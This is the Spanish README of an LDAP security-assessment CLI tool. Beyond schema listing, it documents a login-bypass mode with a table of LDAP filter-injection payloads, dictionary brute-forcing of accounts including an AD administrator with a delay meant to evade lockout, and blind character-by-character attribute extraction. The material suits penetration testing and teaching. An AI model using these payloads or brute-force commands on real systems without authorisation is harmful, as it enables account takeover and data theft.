
Herramienta CLI para realizar tareas básicas de LDAP para evaluaciones de seguridad
Una herramienta CLI que descubre campos LDAP válidos consultando el subschema de un servidor LDAP. Lee attributeTypes y objectClasses directamente del servidor, por lo que los resultados siempre reflejan lo que el servidor realmente soporta.
# Ejecutar directamente sin instalar
nix run github:your-user/ldapin
# O compilar y enlazar en ./result/bin/ldapin
nix build github:your-user/ldapin
Para usuarios de Nix o NixOS hay un paquete disponible. Ten en cuenta que las últimas versiones podrían solo
estar presentes en el canal unstable.
nix-env -iA nixos.lapin
Desde un checkout local:
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP server URL [default: ldap://localhost:389]
-D, --bind-dn <BIND_DN> Bind DN (omit for anonymous bind)
-w, --password <PASSWORD> Bind password
-W, --prompt-password Prompt for bind password interactively
-f, --filter <FILTER> Substring filter on name or description
-c, --object-class <NAME> Limit to a specific object class (with -m object-classes)
-m, --mode <MODE> What to show: attributes, object-classes, both [default: attributes]
-o, --output <OUTPUT> Output format: table, json, csv [default: table]
-b, --base-dn <BASE_DN> Base DN to search under (required for --mode login-bypass)
--user-attr <ATTR> User attribute name for login-bypass probes [default: uid]
--pass-attr <ATTR> Password attribute name for login-bypass probes [default: userPassword]
-u, --target-user <USER> Target username for login-bypass probes
--starttls Upgrade connection with STARTTLS
--insecure Skip TLS certificate verification
-h, --help Print help
-V, --version Print version
Listar todos los tipos de atributos en un servidor local:
ldapin
Autenticarse y listar todas las clases de objetos:
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
Encontrar todos los atributos relacionados con mail:
ldapin -H ldap://ldap.example.org -f mail
Mostrar todo en JSON:
ldapin -H ldaps://ldap.example.org -m both -o json
Exportar todos los atributos a CSV:
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
Mostrar la entrada de la clase de objeto inetOrgPerson:
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
Conectar con STARTTLS:
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
ForumSys proporciona un servidor LDAP gratuito de solo lectura adecuado para pruebas.
| Parámetro | Valor |
|---|---|
| Host | ldap.forumsys.com |
| Puerto | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Contraseña | password |
| Base DN | dc=example,dc=com |
Listar todos los tipos de atributos (bind anónimo):
ldapin -H ldap://ldap.forumsys.com
Listar todos los tipos de atributos (autenticado):
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
Listar todas las clases de objetos:
ldapin -H ldap://ldap.forumsys.com -m object-classes
Mostrar la clase de objeto inetOrgPerson:
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
Filtrar atributos por nombre:
ldapin -H ldap://ldap.forumsys.com -f mail
Exportar todo a JSON:
ldapin -H ldap://ldap.forumsys.com -m both -o json
El modo login-bypass sondea un servidor LDAP en busca de vulnerabilidades de inyección de filtros.
Construye 11 payloads derivados de técnicas conocidas de inyección LDAP e informa
cuáles devuelven entradas. El mismo resultado que produciría una aplicación web vulnerable
si construyera su filtro de autenticación a partir de entrada de usuario no saneada.
# Sondear con bind anónimo, payloads de cualquier usuario
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# Sondear una cuenta específica
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. Usar sAMAccountName y unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# Salida JSON para scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
Payloads probados:
| Payload | Plantilla de filtro |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
El modo brute-force primero resuelve el DN completo del usuario objetivo mediante una búsqueda LDAP, luego
intenta simple_bind(dn, password) para cada línea en la wordlist, deteniéndose en el primer
éxito.
Flags requeridos: -b / --base-dn, -u / --target-user, --wordlist.
# Ataque de diccionario básico
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# Con un retraso de 500 ms entre intentos para mantenerse por debajo de los umbrales de bloqueo
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (usar sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# Salida JSON
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
El progreso (resolución de DN, conteo de intentos, resultado) se escribe en stderr; el resultado va a
stdout, por lo que -o json y -o csv se canalizan limpiamente.
# Crear una wordlist pequeña con la contraseña conocida
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
El modo blind-extract recupera el valor de cualquier atributo legible un carácter
a la vez sondeando repetidamente con filtros de sufijo comodín:
(&(uid=TARGET)(mail=a*)) -> no entries
(&(uid=TARGET)(mail=e*)) -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*)) -> entries found -> 'ei'
...
Este es el equivalente LDAP directo del clásico bucle de inyección ciega usado contra aplicaciones web vulnerables que construyen filtros LDAP a partir de entrada no saneada.
Flags requeridos: -b / --base-dn, -u / --target-user, --extract-attr.